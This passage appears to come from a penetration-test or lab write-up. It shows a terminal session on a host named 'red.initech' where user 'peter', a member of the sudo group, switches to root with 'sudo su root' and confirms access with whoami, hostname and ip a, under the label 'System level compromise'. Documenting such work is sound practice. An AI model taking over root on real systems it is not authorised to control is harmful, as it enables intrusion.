sudo group
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
The peter
user is part of the sudo
group, essentially making the user root
red% sudo su root
➜ peter whoami
root
➜ peter hostname
red.initech
➜ peter ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:9e:7b:37 brd ff:ff:ff:ff:ff:ff
inet 192.168.239.148/24 brd 192.168.239.255 scope global ens192
valid_lft forever preferred_lft forever
System level compromise